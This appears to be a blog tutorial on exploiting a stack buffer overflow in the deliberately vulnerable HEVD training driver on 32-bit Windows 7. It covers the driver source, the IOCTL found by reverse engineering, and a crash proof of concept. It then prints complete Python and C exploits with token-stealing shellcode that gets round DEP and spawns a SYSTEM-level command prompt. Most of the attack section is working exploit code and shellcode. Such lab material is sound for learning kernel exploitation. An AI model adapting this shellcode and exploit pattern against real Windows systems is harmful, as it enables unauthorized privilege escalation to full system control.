After setting up our kernel debugger and debugee using VirtualKD-Redux or kdnet ( you can find many resources online for it ), it's now time to start exploiting different vulnerabilities in our vulnerable driver. This blog is highly motivated by areyou1or0, who created video series and blog for the Windows Kernel Exploitation.
Using OSRLOADER, we can register and start the service.
Note: On every restart of the machine, we need to start the vulnerable service using OSRLOADER. Or you can start the service as Auto.
For every vulnerability, we will be following a similar structure:
- Source Code Review
- Reverse Engineering and Analyzing the driver and finding the IOCTL.
- Crafting the initial exploit to trigger the bug.
- Token Stealing & Assembly Code Manual Analysis
- Final Exploit and Spawning the shell.
1. Source Code Review
Let's look at the source code which is inside the file BufferOverflowStack.c,
#include "BufferOverflowStack.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%zX\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%zX\n", sizeof(KernelBuffer));
#ifdef SECURE
//
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}In the above code we can see, 2 implementations of RtlCopyMemeory():
- Secure — Where the size of the size validation has been done equal to the size of the KernelBuffer.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));- Vulnerable — In the vulnerable implementation the size validation is not done, it is a vanilla stack based buffer overflow because the developer is passing the user supplied size directly to the RtlCopyMemory function.
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);If the correct IOCT code is used, the BufferOverflowStackIoctlHandler function will be called, which takes the UserBuffer & the Size. Later on these 2 parameters are directly passed to the TriggerBufferOverflowStack function, which leads to the vulnerable RtlCopyMemory() and hence leading to vanilla stack buffer overflow.
To interact with the driver we will use 2 Windows APIs :
- CreateFileA() : Creates or opens a file or I/O device. We'll use this to create a handle to an I/O device ( our driver ).
HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);- DeviceIoControl(): Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation. The handle returned by CreateFileA() will be passed to this function as the first parameter and we'll access the kernel mode access.
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);2. Reverse engineering, analyzing the driver and finding the IOCTL.
After loading the vulnerable driver, we will have a look at the IrpDeviceIoCtlHandler() function, which is responsible for handling IRP requests with IOCTLS.
In the above graph figure of the IrpDeviceIoCtlHandler() function we can observe multiple branches, those are the different switch cases based on the IOCTL. Let us find the BufferOverflowStackIoctlHandler().
On IDA Free we don't have the feature of looking at the Pseudocode which makes the analysis comparatively easier. Either ways we can find the BufferOverflowStackIoctlHandler() function.
In the above figure we can see for IOCTL — 0x222003 will trigger our BufferOverflowStackIoctlHandler().
So, to trigger our vulnerable code we are required to send a value of 0x222003 as our IOCTL to trigger the vulnerable stack overflow code.
We can see that the size of the KernelBuffer is 2048 bytes ( 512 * 4 (size of unsigned int)). So, anything above 2048 bytes will cause a buffer overflow, leading to Blue Screen of Death (BSOD).
3. Crafting the initial exploit to trigger the bug
So, to trigger the vulnerable code we need to get the handle of our driver, and pass payload to the vulnerable function using proper IOCTL. We'll use python to develop our exploit.
The structure of our exploit will be:
- Imports for python
- Handle creation using CreateFileA() Function
- Exception handling — If we cannot get the IOCTL Handle
- Buffer & Shellcode Definition
- DeviceIoControl() with the correct IOCTL and the handle
To get the handle we require handle name, which can be observed during the reverse engineering of our driver inside the DriverEntry().
Our initial exploit,
import struct, sys, os
from ctypes import *
kernel32 = windll.kernel32
handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not handle or handle == -1:
print "Failed to get device handle."
sys.exit(0)
buffer = "\x41" * 2080
buffer += "\x42" * 4
buffer += "\x43" * (3000 - len(buffer))
kernel32.DeviceIoControl(handle, 0x222003, buffer, len(buffer), None, 0, byref(c_ulong()), None)Now, let's observe using WinDbg if our exploit works and overwrite the EIP or not.
Running our exploit, we get a crash!
Continuing the execution on Windbg, we can see our target machine crashing and going into BSOD state.
4. Token Stealing Shellcode & Assembly Code Manual Analysis
Now, for further escalating our privileges from User to SYSTEM, we will use the token stealing shellcode provided by the Hacksys Team.
Let's understand this part in deep, breaking down into different sub-sections:
- What is Shellcode?
- What is the Goal?
- Step-By-Step Explanation
1. What is Shellcode?
Shellcode is a small piece of code typically written in assembly language used as the payload in the exploitation part.
2. What is the Goal?
The goal here is to escalate our privileges to the highest level on our target Windows system, which is "NT AUTHORITY\SYSTEM" allowing us to perform any action on the system.
To achieve this, we will use the token stealing shellcode provided by the Hacksys team, which copies a token ( a security identifies that Windows uses to manage user permissions) from a SYSTEM process to our own process ( cmd.exe ).
3. Step-by-Step Explanation
Firstly, we need to save the state of all the general-purpose registers. This is done so that the state can be restored later and avoid crashing the system. We will learn how the shellcode manipulates Windows internals to elevate privileges.
pushad ;Saving State of all General-Purpose registersZero out the eax register, this register is oftenly used to store data temporarily.
xor eax,eax ;Zero out eax registerNow, we need to access the Thread Information Block (TIB), which is a data structure in Windows that contains information about the currently running thread. The TIB can be accessed as an offset of segment register FS. FS is the data selector to TIB for the first thread.
At an offset of 0x124 to the FS segment register we get the address of "_KTHREAD" structure.
mov eax, fs:[eax + 0x124] ;Get the current threadTo get the Current Process from the "_EPROCESS", we add 0x50 (EPROCESS_OFFSET) to the Address of "_KTHREAD" structure. The "_EPROCESS" structure contains information about the process.
mov eax, [eax + 0x50] Save the current process address into ecx register for later use.
mov ecx, eaxHere, 0x4 is the process ID (PID) for the SYSTEM process in Windows 7.
mov edx, 0x4 ;System PID stored in edxNow, we have to search for the System Process. For this the loop iterates through the linked list of active processes. In the _EPROCESS structure at offset 0xb8 we have the ActiveProcessLinks structure and at the 0xb4 offset we have the UniqueProcessId. This can be refered from the Vergilius Project.
SearchSystemPID:
mov eax, [eax + 0xb8] ;Follows the linked list
sub eax, 0xb8 ;Adjusts the pointer
cmp [eax + 0xb4], edx ; edx = 0x4 | Checks if the current process is the SYSTEM process
jne SearchSystemPID ;If not, it continues the searchOnce the SYSTEM process is found, we need to copy it and assign the SYSTEM token to our process. At 0xf8 offset we have the Token.
mov edx, [eax + 0xf8] ;Copies the token into edx
mov [ecx + 0xf8], edx ;Assigns the system token to our processNow, since the token stealing is completed we need to restore the registers to their original state and return from the function, cleaning up the stack.
popad
pop ebp ;Restore the base pointer
ret 0x8 ;Return and clear the next 8 bytesDue to Data Execution Prevention (DEP), the stack area is not executable. So to bypass DEP we will use VirtualAlloc to allocate a memory region with RWX (Read-Write-Executable) and copy our shellcode to the newly allocated RWX region.
Note: We are not considering SMEP/SMAP as it was available after Windows 7. So, no need to worry about this now.
5. Final Exploit and Spawning the shell
import struct, sys, os, subprocess
from ctypes import *
kernel32 = windll.kernel32
handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
if not handle or handle == -1:
print "Failed to get device handle."
sys.exit(0)
payload = ""
payload += bytearray(
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
#Allocating RWX region for shellcode using VirtualAlloc
pointer = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))
buf = (c_char * len(payload)).from_buffer(payload)
#Copy Shellcode to the newly allocated RWX region
kernel32.RtlMoveMemory(c_int(pointer),buf,c_int(len(payload)))
shellcode = struct.pack("<L",pointer)
#Overwriting EIP
buffer = "\x41" * 2080 + shellcode
kernel32.DeviceIoControl(handle, 0x222003, buffer, len(buffer), None, 0, byref(c_ulong()), None)
# Open a new command prompt
subprocess.Popen("start cmd", shell= True)After running the exploit, we can successfully perform privilege escalation from User to Nt Authority\System.
For someone who wants to write the exploit in C/C++, here is the reference —
/*
Exploiting Windows 7 HEVD x85
Vulnerability - Stack Overflow
*/
#include <Windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0x60, // pushal
0x31, 0xc0, // xor eax, eax
0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00, // mov eax, dword ptr fs:[eax + 0x124]
0x8b, 0x40, 0x50, // mov eax, dword ptr [eax + 0x50]
0x89, 0xc1, // mov ecx, eax
0xba, 0x04, 0x00, 0x00, 0x00, // mov edx, 4
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, // mov eax, dword ptr [eax + 0xb8]
0x2d, 0xb8, 0x00, 0x00, 0x00, // sub eax, 0xb8
0x39, 0x90, 0xb4, 0x00, 0x00, 0x00, // cmp dword ptr [eax + 0xb4], edx
0x75, 0xed, // jne 0x1014
0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00, // mov edx, dword ptr [eax + 0xf8]
0x89, 0x91, 0xf8, 0x00, 0x00, 0x00, // mov dword ptr [ecx + 0xf8], edx
0x61, // popal
0x5D, // pop ebp
0xC2, 0x08, 0x00 // ret 0x8
};
DWORD shellcode_len = sizeof(shellcode);
int main() {
// Getting Handle To The Driver
/*
HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
*/
HANDLE hDriver = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
// Identifying The IOCTL For BO
// 0x222003u
// METHOD_NEITHER
// Buffer Size Of Kernel Buffer - 512d or 200h / 0x800 or 2048d
// Setting Up The Buffer
char buffer[2100];
//memset(buffer, 'A', sizeof(buffer));
LPVOID ptrShellcode = VirtualAlloc(
NULL,
shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
memcpy(ptrShellcode, shellcode, shellcode_len);
memset(buffer, 'A', 2080);
memcpy(buffer + 2080, &ptrShellcode, sizeof(DWORD));
// Sending The Buffer
DeviceIoControl(
hDriver,
0x222003,
&buffer,
sizeof(buffer),
NULL,
NULL,
NULL,
NULL
);
system("cmd.exe");
return 0;
}